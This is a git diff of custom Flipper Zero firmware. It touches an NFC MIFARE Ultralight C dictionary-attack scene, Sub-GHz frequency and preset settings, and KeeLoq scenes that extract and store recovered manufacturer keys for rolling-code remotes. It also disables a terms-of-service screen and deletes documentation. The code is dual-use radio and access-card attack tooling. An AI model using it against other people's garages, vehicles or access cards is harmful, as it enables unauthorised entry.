scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -230,6 +241,7 @@ void nfc_scene_mf_ultralight_c_dict_attack_on_exit(void* context) {
NfcSceneMfUltralightCDictAttack,
DictAttackStateUserDictInProgress);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_dict_context.dict_keys_total = 0;
instance->mf_ultralight_c_dict_context.dict_keys_current = 0;
instance->mf_ultralight_c_dict_context.auth_success = false;

View File

@@ -0,0 +1,121 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: false
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
Frequency: 300000000
Frequency: 302757000
Frequency: 303000000
Frequency: 303875000
Frequency: 303900000
Frequency: 304250000
Frequency: 307000000
Frequency: 307500000
Frequency: 307800000
Frequency: 309000000
Frequency: 310000000
Frequency: 312000000
Frequency: 312100000
Frequency: 312200000
Frequency: 313000000
Frequency: 313850000
Frequency: 314000000
Frequency: 314350000
Frequency: 314980000
Frequency: 315000000
Frequency: 318000000
Frequency: 320000000
Frequency: 320150000
Frequency: 330000000
Frequency: 345000000
Frequency: 348000000
Frequency: 350000000
Frequency: 387000000
Frequency: 390000000
Frequency: 418000000
Frequency: 430000000
Frequency: 430500000
Frequency: 431000000
Frequency: 431500000
Frequency: 433075000
Frequency: 433220000
Frequency: 433420000
Frequency: 433657070
Frequency: 433880000
Frequency: 433889000
Frequency: 433900000
Frequency: 433910000
Frequency: 433920000
Frequency: 433930000
Frequency: 433940000
Frequency: 433950000
Frequency: 433960000
Frequency: 434075000
Frequency: 434176948
Frequency: 434190000
Frequency: 434390000
Frequency: 434420000
Frequency: 434620000
Frequency: 434775000
Frequency: 438900000
Frequency: 440175000
Frequency: 462750000
Frequency: 464000000
Frequency: 467750000
Frequency: 779000000
Frequency: 868350000
Frequency: 868400000
Frequency: 868460000
Frequency: 868800000
Frequency: 868950000
Frequency: 906400000
Frequency: 915000000
Frequency: 925000000
Frequency: 928000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
Hopper_frequency: 315000000
Hopper_frequency: 433920000
Hopper_frequency: 434420000
Hopper_frequency: 868350000
# Presets used for preset hopping mode (cycles through these modulations)
Hopping_Preset: AM650
Hopping_Preset: FM476
Hopping_Preset: FM95
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
Custom_preset_name: OOK_LR
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: OOK_U
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 17 0C 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 2C 81 2D 35 2E 09 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: AM_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 C9 11 F8 12 30 14 00 15 14 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 55 22 00 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: FSK_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: F3
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: FM95
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
Custom_preset_name: FM15k
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0

View File

@@ -1,47 +0,0 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: true
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
#Frequency: 300000000
#Frequency: 310000000
#Frequency: 320000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
#Hopper_frequency: 300000000
#Hopper_frequency: 310000000
#Hopper_frequency: 310000000
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
#Custom_preset_name: FM95
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
#2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping
#Custom_preset_name: FM15k
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0
#Custom_preset_name: Pagers
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
#Custom_preset_name: AM_1
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476

View File

@@ -1,5 +1,6 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/blocks/math.h>
#include <dialogs/dialogs.h>
enum {
@@ -22,10 +23,13 @@ static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
*out_fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
*out_hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
*out_fix = (uint32_t)(reversed >> 32);
*out_hop = (uint32_t)(reversed & 0xFFFFFFFF);
return true;
}

View File

@@ -2,6 +2,7 @@
#include "../helpers/subghz_txrx_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/protocols/keeloq_common.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/environment.h>
#include <lib/subghz/subghz_keystore.h>
#include <furi.h>
@@ -137,10 +138,13 @@ void subghz_scene_keeloq_decrypt_on_enter(void* context) {
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
ctx->fix = (uint32_t)(reversed >> 32);
ctx->hop = (uint32_t)(reversed & 0xFFFFFFFF);
}
ctx->serial = ctx->fix & 0x0FFFFFFF;
@@ -188,7 +192,7 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
subghz_keeloq_keys_add(
subghz->keeloq_keys_manager,
ctx->recovered_mfkey,
ctx->recovered_type,
KEELOQ_LEARNING_SIMPLE,
key_name);
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
@@ -198,7 +202,7 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
entry->name = furi_string_alloc_set(key_name);
entry->key = ctx->recovered_mfkey;
entry->type = ctx->recovered_type;
entry->type = KEELOQ_LEARNING_SIMPLE;
return true;
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
@@ -235,11 +239,22 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
}
flipper_format_rewind(fff);
subghz_protocol_decoder_base_deserialize(
subghz_txrx_get_decoder(subghz->txrx), fff);
const char* save_path = NULL;
if(subghz_path_is_file(subghz->file_path)) {
save_path = furi_string_get_cstr(subghz->file_path);
} else if(subghz_path_is_file(subghz->keeloq_bf2.sig1_path)) {
save_path = furi_string_get_cstr(subghz->keeloq_bf2.sig1_path);
}
if(save_path) {
subghz_save_protocol_to_file(
subghz,
subghz_txrx_get_fff_data(subghz->txrx),
furi_string_get_cstr(subghz->file_path));
save_path);
furi_string_set_str(subghz->file_path, save_path);
}
subghz_view_keeloq_decrypt_set_result(

View File

@@ -133,21 +133,21 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
}
//CC1101 Stop RX -> Start TX
subghz_txrx_hopper_pause(subghz->txrx);
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
if(!subghz_tx_start(
subghz,
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen))) {
subghz_txrx_rx_start(subghz->txrx);
subghz_txrx_hopper_unpause(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateRx;
} else {
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
subghz_block_generic_global.endless_tx = false;
return true;
}
return true;
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
//CC1101 Stop Tx -> next tick event Start RX
// user release OK

View File

@@ -155,6 +155,22 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
true);
if(can_be_sent) {
if(event->type == InputTypeLong) {
if(event->key == InputKeyUp) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyDown) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyLeft) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyRight) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
subghz_custom_btn_set_long(true);
}
}
if(event->key == InputKeyOk && event->type == InputTypePress) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
with_view_model(

View File

@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
desktop->pin_input_view = desktop_view_pin_input_alloc();
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
desktop->slideshow_view = desktop_view_slideshow_alloc();
//desktop->tos_view = desktop_view_tos_alloc();
desktop->main_view_stack = view_stack_alloc();
desktop->main_view = desktop_main_alloc();
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
desktop->view_dispatcher,
DesktopViewIdSlideshow,
desktop_view_slideshow_get_view(desktop->slideshow_view));
//view_dispatcher_add_view(
//desktop->view_dispatcher,
//DesktopViewIdTos,
//desktop_view_tos_get_view(desktop->tos_view));
// Lock icon
desktop->lock_icon_viewport = view_port_alloc();
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
}
} //else {
//scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
//}
if(!furi_hal_version_do_i_belong_here()) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);

View File

@@ -11,6 +11,8 @@
#include "views/desktop_view_lock_menu.h"
#include "views/desktop_view_debug.h"
#include "views/desktop_view_slideshow.h"
//#include "views/desktop_view_tos.h"
#include <gui/gui.h>
#include <gui/view_stack.h>

View File

@@ -30,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
switch(event.event) {
case DesktopSlideshowCompleted:
scene_manager_previous_scene(desktop->scene_manager);
//scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
consumed = true;
break;
case DesktopSlideshowPoweroff:

View File

@@ -0,0 +1 @@
*

View File

@@ -1 +0,0 @@
/doxygen/build

View File

@@ -1,139 +0,0 @@
# FAM (Flipper App Manifests) {#app_manifests}
All components of Flipper Zero firmware — services, user applications, and system settings — are developed independently. Each component has a build system manifest file named `application.fam`, which defines the basic properties of that component and its relations to other parts of the system.
When building firmware, `fbt` collects all app manifests and processes their dependencies. Then it builds only those components referenced in the current build configuration. See [FBT docs](fbt.md) for details on build configurations.
## App definition
A firmware component's properties are declared in a Python code snippet, forming a call to the `App()` function with various parameters.
Only two parameters are mandatory: **appid** and **apptype**. Others are optional and may only be meaningful for certain app types.
### Parameters
- **appid**: string, app ID within the build system. It is used to specify which app to include in the build configuration and resolve dependencies and conflicts.
- **apptype**: member of FlipperAppType.\* enumeration. Valid values are:
| Enum member | Firmware component type |
| ----------- | ------------------------------------------------------------------------------------------- |
| SERVICE | System service, created at early startup |
| SYSTEM | App is not being shown in any menus. It can be started by other apps or from CLI |
| APP | Regular app for the main menu |
| PLUGIN | App to be built as a part of the firmware and to be placed in the Plugins menu |
| DEBUG | App only visible in Debug menu with debug mode enabled |
| ARCHIVE | One and only Archive app |
| SETTINGS | App to be placed in the system settings menu |
| STARTUP | Callback function to run at system startup. Does not define a separate app |
| EXTERNAL | App to be built as `.fap` plugin |
| METAPACKAGE | Does not define any code to be run, used for declaring dependencies and app bundles |
- **name**: name displayed in menus.
- **entry_point**: C function to be used as the app's entry point. Note that C++ function names are mangled, so you need to wrap them in `extern "C"` to use them as entry points.
- **flags**: internal flags for system apps. Do not use.
- **cdefines**: C preprocessor definitions to declare globally for other apps when the current app is included in the active build configuration. **For external apps**: specified definitions are used when building the app itself.
- **requires**: list of app IDs to include in the build configuration when the current app is referenced in the list of apps to build.
- **conflicts**: list of app IDs with which the current app conflicts. If any of them is found in the constructed app list, `fbt` will abort the firmware build process.
- **provides**: functionally identical to **_requires_** field.
- **stack_size**: stack size in bytes to allocate for an app on its startup. Note that allocating a stack too small for an app to run will cause a system crash due to stack overflow, and allocating too much stack space will reduce usable heap memory size for apps to process data. _Note: you can use `top` and `free` CLI commands to profile your app's memory usage._
- **icon**: animated icon name from built-in assets to be used when building the app as a part of the firmware.
- **order**: order of an app within its group when sorting entries in it. The lower the order is, the closer to the start of the list the item is placed. _Used for ordering startup hooks and menu entries._
- **sdk_headers**: list of C header files from this app's code to include in API definitions for external apps.
- **targets**: list of strings and target names with which this app is compatible. If not specified, the app is built for all targets. The default value is `["all"]`.
- **resources**: name of a folder within the app's source folder to be used for packacking SD card resources for this app. They will only be used if app is included in build configuration. The default value is `""`, meaning no resources are packaged.
#### Parameters for external apps
The following parameters are used only for [FAPs](./AppsOnSDCard.md):
- **sources**: list of strings, file name masks used for gathering sources within the app folder. The default value of `["*.c*"]` includes C and C++ source files. Apps cannot use the `"lib"` folder for their own source code, as it is reserved for **fap_private_libs**. Paths starting with `"!"` are excluded from the list of sources. They can also include wildcard characters and directory names. For example, a value of `["*.c*", "!plugins"]` will include all C and C++ source files in the app folder except those in the `plugins` (and `lib`) folders. Paths with no wildcards (`*, ?`) are treated as full literal paths for both inclusion and exclusion.
- **fap_version**: string, app version. The default value is "0.1". You can also use a tuple of 2 numbers in the form of (x,y) to specify the version. It is also possible to add more dot-separated parts to the version, like patch number, but only major and minor version numbers are stored in the built .fap.
- **fap_icon**: name of a `.png` file, 1-bit color depth, 10x10px, to be embedded within `.fap` file.
- **fap_libs**: list of extra libraries to link the app against. Provides access to extra functions that are not exported as a part of main firmware at the expense of increased `.fap` file size and RAM consumption.
- **fap_category**: string, may be empty. App subcategory, also determines the path of the FAP within the apps folder in the file system.
- **fap_description**: string, may be empty. Short app description.
- **fap_author**: string, may be empty. App's author.
- **fap_weburl**: string, may be empty. App's homepage.
- **fap_icon_assets**: string. If present, it defines a folder name to be used for gathering image assets for this app. These images will be preprocessed and built alongside the app. See [FAP assets](AppsOnSDCard.md) for details.
- **fap_extbuild**: provides support for parts of app sources to be built by external tools. Contains a list of `ExtFile(path="file name", command="shell command")` definitions. `fbt` will run the specified command for each file in the list.
- **fal_embedded**: boolean, default `False`. Applies only to PLUGIN type. If `True`, the plugin will be embedded into host app's .fap file as a resource and extracted to `apps_assets/APPID` folder on its start. This allows plugins to be distributed as a part of the host app.
Note that commands are executed at the firmware root folder, and all intermediate files must be placed in an app's temporary build folder. For that, you can use pattern expansion by `fbt`: `${FAP_WORK_DIR}` will be replaced with the path to the app's temporary build folder, and `${FAP_SRC_DIR}` will be replaced with the path to the app's source folder. You can also use other variables defined internally by `fbt`.
Example for building an app from Rust sources:
```python
sources=["target/thumbv7em-none-eabihf/release/libhello_rust.a"],
fap_extbuild=(
ExtFile(
path="${FAP_WORK_DIR}/target/thumbv7em-none-eabihf/release/libhello_rust.a",
command="cargo build --release --verbose --target thumbv7em-none-eabihf --target-dir ${FAP_WORK_DIR}/target --manifest-path ${FAP_SRC_DIR}/Cargo.toml",
),
),
```
- **fap_private_libs**: list of additional libraries distributed as sources alongside the app. These libraries will be built as a part of the app build process.
Library sources must be placed in a subfolder of the `lib` folder within the app's source folder.
Each library is defined as a call to the `Lib()` function, accepting the following parameters:
- **name**: name of the library's folder. Required.
- **fap_include_paths**: list of the library's relative paths to add to the parent fap's include path list. The default value is `["."]`, meaning the library's source root.
- **sources**: list of filename masks to be used for gathering include files for this library. Paths are relative to the library's source root. The default value is `["*.c*"]`.
- **cflags**: list of additional compiler flags to be used for building this library. The default value is `[]`.
- **cdefines**: list of additional preprocessor definitions to be used for building this library. The default value is `[]`.
- **cincludes**: list of additional include paths to be used for building this library. Paths are relative to the app's root. This can be used for providing external search paths for this library's code — for configuration headers. The default value is `[]`.
Example for building an app with a private library:
```python
fap_private_libs=[
Lib(
name="mbedtls",
fap_include_paths=["include"],
sources=[
"library/des.c",
"library/sha1.c",
"library/platform_util.c",
],
cdefines=["MBEDTLS_ERROR_C"],
),
Lib(
name="loclass",
cflags=["-Wno-error"],
),
],
```
For that snippet, `fbt` will build 2 libraries: one from sources in `lib/mbedtls` folder and another from sources in the `lib/loclass` folder. For the `mbedtls` library, `fbt` will add `lib/mbedtls/include` to the list of include paths for the app and compile only the files specified in the `sources` list. Additionally, `fbt` will enable `MBEDTLS_ERROR_C` preprocessor definition for `mbedtls` sources.
For the `loclass` library, `fbt` will add `lib/loclass` to the list of the included paths for the app and build all sources in that folder. Also, `fbt` will disable treating compiler warnings as errors for the `loclass` library, which can be useful when compiling large 3rd-party codebases.
Both libraries will be linked with the app.
## .fam file contents
The `.fam` file contains one or more app definitions. For example, here's a part of `applications/service/bt/application.fam`:
```python
App(
appid="bt_start",
apptype=FlipperAppType.STARTUP,
entry_point="bt_on_system_start",
order=70,
)
App(
appid="bt_settings",
name="Bluetooth",
apptype=FlipperAppType.SETTINGS,
entry_point="bt_settings_app",
stack_size=1 * 1024,
requires=[
"bt",
"gui",
],
order=10,
)
```
For more examples, see `.fam` files from various firmware parts.

View File

@@ -1,83 +0,0 @@
# FAP (Flipper App Package) {#apps_on_sd_card}
[fbt](./fbt.md) supports building apps as FAP files. FAPs are essentially `.elf` executables with extra metadata and resources bundled in.
FAPs are built with the `faps` target. They can also be deployed to the `dist` folder with the `fap_dist` target.
FAPs do not depend on being run on a specific firmware version. Compatibility is determined by the FAP's metadata, which includes the required [API version](#api-versioning).
## How to set up an app to be built as a FAP {#fap-howto}
FAPs are created and developed the same way as internal apps that are part of the firmware.
To build your app as a FAP, create a folder with your app's source code in `applications_user`, then write its code the way you'd do when creating a regular built-in app. Then configure its `application.fam` manifest, and set its `apptype` to `FlipperAppType.EXTERNAL`. See [Flipper App Manifests](AppManifests.md) for more details.
- To build your app, run `./fbt fap_{APPID}`, where APPID is your app's ID in its manifest.
- To build your app and upload it over USB to run on Flipper, use `./fbt launch APPSRC=applications_user/path/to/app`. This command is configured in the default [VS Code profile](../.vscode/ReadMe.md) as a "Launch App on Flipper" build action (Ctrl+Shift+B menu).
- To build an app without uploading it to Flipper, use `./fbt build APPSRC=applications_user/path/to/app`. This command is also available in VSCode configuration as "Build App".
- To build all FAPs, run `./fbt faps` or `./fbt fap_dist`.
## FAP assets
FAPs can include static and animated images as private assets. They will be automatically compiled alongside app sources and can be referenced the same way as assets from the main firmware.
To use that feature, put your images in a subfolder inside your app's folder, then reference that folder in your app's manifest in the `fap_icon_assets` field. See [Flipper App Manifests](AppManifests.md) for more details.
To use these assets in your app, put `#include "{APPID}_icons.h"` in your app's source code, where `{APPID}` is the `appid` value field from your app's manifest. Then you can use all icons from your app's assets the same way as if they were a part of `assets_icons.h` of the main firmware.
Images and animated icons should follow the same [naming convention](../assets/ReadMe.md) as those from the main firmware.
## Debugging FAPs
`fbt` includes a script for gdb-py to provide debugging support for FAPs, `debug/flipperapps.py`. It is loaded in default debugging configurations by `fbt` and stock VS Code configurations.
With it, you can debug FAPs as if they were a part of the main firmware — inspect variables, set breakpoints, step through the code, etc.
If debugging session is active, firmware will trigger a breakpoint after loading a FAP into memory, but before running any code from it. This allows you to set breakpoints in the FAP's code. Note that any breakpoints set before the FAP is loaded may need re-setting after the FAP is actually loaded, since the debugger cannot know the exact address of the FAP's code before loading the FAP.
### Setting up debugging environment
The debugging support script looks up debugging information in the latest firmware build directory (`build/latest`). That directory is symlinked by `fbt` to the latest firmware configuration (Debug or Release) build directory when you run `./fbt` for the chosen configuration. See [fbt docs](fbt.md) for details.
To debug FAPs, do the following:
1. Build firmware with `./fbt`
2. Flash it with `./fbt flash`
3. [Build your FAP](#fap-howto) and run it on Flipper
After that, you can attach the debugger to the target MCU with `./fbt debug` or VS Code and use all debug features.
It is **important** that firmware and app build type (debug/release) match and that the matching firmware folder is linked as `build/latest`. Otherwise, debugging will not work.
## How Flipper runs an app from an SD card
Flipper's MCU cannot run code directly from external storage, so it needs to be copied to RAM first. That is done by the App Loader responsible for loading the FAP from the SD card, verifying its integrity and compatibility, copying it to RAM, and adjusting it for its new location.
Since the FAP has to be loaded to RAM to be executed, the amount of RAM available for allocations from heap is reduced compared to running the same app from flash, as a part of the firmware. Note that the amount of occupied RAM is less than the total FAP file size since only code and data sections are allocated, while the FAP file includes extra information only used at app load time.
Apps are built for a specific API version. It is a part of the hardware target's definition and contains a major and minor version number. The App Loader checks if the app's major API version matches the firmware's major API version.
The App Loader allocates memory for the app and copies it to RAM, processing relocations and providing concrete addresses for imported symbols using the [symbol table](#symbol-table). Then it starts the app.
## API versioning {#api-versioning}
Not all parts of firmware are available for external apps. A subset of available functions and variables is defined in the "api_symbols.csv" file, which is a part of the firmware target definition in the `targets/` directory.
`fbt` uses semantic versioning for the API. The major version is incremented when there are breaking changes in the API. The minor version is incremented when new features are added.
Breaking changes include:
- Removing a function or a global variable
- Changing the signature of a function
API versioning is mostly automated by `fbt`. When rebuilding the firmware, `fbt` checks if there are any changes in the API exposed by headers gathered from `SDK_HEADERS`. If so, it stops the build, adjusts the API version, and asks the user to go through the changes in the `.csv` file. New entries are marked with a "`?`" mark, and the user is supposed to change the mark to "`+`" for the entry to be exposed for FAPs, or to "`-`" for it to be unavailable.
`fbt` will not allow building a firmware until all "`?`" entries are changed to "`+`" or "`-`".
**NB:** `fbt` automatically manages the API version. The only case where manually incrementing the major API version is allowed (and required) is when existing "`+`" entries are to be changed to "`-`".
### Symbol table {#symbol-table}
The symbol table is a list of symbols exported by firmware and available for external apps. It is generated by `fbt` from the API symbols file and is used by the App Loader to resolve addresses of imported symbols. It is build as a part of the `fap_loader` app.
`fbt` also checks if all imported symbols are present in the symbol table. If there are any missing symbols, it will issue a warning listing them. The app won't be able to run on the device until all required symbols are provided in the symbol table.

View File

@@ -1,16 +0,0 @@
# This is a UPC-A Barcode Generator for the Flipper Zero hardware.
> Author: [McAzzaMan](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator)
<img src="https://i.imgur.com/TDbo1tz.png" alt="" />
It will eventually be expanded into other barcode types. It currently only generates UPC-A type barcodes.
<img src="https://i.imgur.com/bxTdzuA.png" alt="" />
## Controls
Hitting the `centre` button on the Flipper toggles edit mode.
When in edit mode, `Left` and `Right` will change the digit to be changed, and up and down will adjust the digit value.
<img src="https://i.imgur.com/lGbzdwH.png" alt="" />

View File

@@ -1,10 +0,0 @@
# How to change Flipper name:
## Instruction
1. Go to Settings -> Desktop -> Change Flipper Name
2. Enter your new custom name for your flipper and click `Save`, **name will be saved on microSD card, and will stay same after firmware updates**
3. You will see a message `Name is set!` and when you exit from settings -> flipper will automatically reboot!
4. After reboot you will see your new custom name in device info and right screen `passport`
5. Done!
**To reset device name to default - do same steps but do not enter any characters, leave it empty and click** `Save`

View File

@@ -1,12 +0,0 @@
## How to extend SubGHz supported frequency range
#### CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz (+ 350MHz and 467MHz was added to default range)
#### This setting will extend to: 281-361 MHz, 378-481 MHz, and 749-962 MHz
1. Please do not do that unless you know what exactly you are doing
2. You don't need extended range for almost all use cases
3. Extending frequency range and transmitting on frequencies that outside of hardware specs can damage your hardware!
4. Flipper Devices team and/or unleashed fw developers is not responsible of any damage that can be caused by using CFW or extending frequency ranges!!!
If you really sure you need that change, find `subghz/assets/dangerous_settings` file on your microSD, read comments on first lines
and change `false` to `true`

File diff suppressed because it is too large Load Diff

View File

@@ -1,172 +0,0 @@
# Expansion Module Protocol {#expansion_protocol}
## Terms and definitions
- Expansion Module: A third-party hardware unit meant for use with Flipper Zero by connecting it to its GPIO header.
- Expansion Module Protocol: A serial-based, byte-oriented, synchronous communication protocol described in this document.
- Host: Hardware unit tasked with serving requests. Used interchangeably with Flipper, Server, Host etc. throughout this document.
- Device: Used interchangeably with Expansion Module, Module, Client, etc.
- RPC: Remote Procedure Call, a protobuf-based communication protocol widely used by Flipper Zero companion applications.
- Timeout Interval: Period of inactivity to be treated as a loss of connection, also denoted as Tto. Equals to 250 ms.
- Baud Rate Switch Dead Time: Period of time after baud rate change during which no communication is allowed, also denoted Tdt. Equals to 25 ms.
## Features
- Automatic expansion module detection
- Baud rate negotiation
- Basic error detection
- Request-response communication flow
- Integration with Flipper RPC protocol
## Hardware
Depending on the UART selected for communication, the following pins area available for the expansion modules to connect to:
| UART | Tx pin | Rx pin |
|--------|--------|--------|
| USART | 13 | 14 |
| LPUART | 15 | 16 |
## Frame structure
Each frame consists of a header (1 byte), contents (size depends on frame type) and checksum (1 byte) fields:
| Header (1 byte) | Contents (0 or more bytes) | Checksum (1 byte) |
|-----------------|----------------------------|-------------------|
| Frame type | Frame payload | XOR checksum |
### Heartbeat frame
HEARTBEAT frames are used to maintain an idle connection. In the event of not receiving any frames within Tto, either side must cease all communications and be ready to initiate the connection again.
| Header (1 byte) | Checksum (1 byte) |
|-----------------|-------------------|
| 0x01 | XOR checksum |
Note that the contents field is not present (0 bytes length).
### Status frame
STATUS frames are used to report the status of a transaction. Every received frame MUST be confirmed by a matching STATUS response.
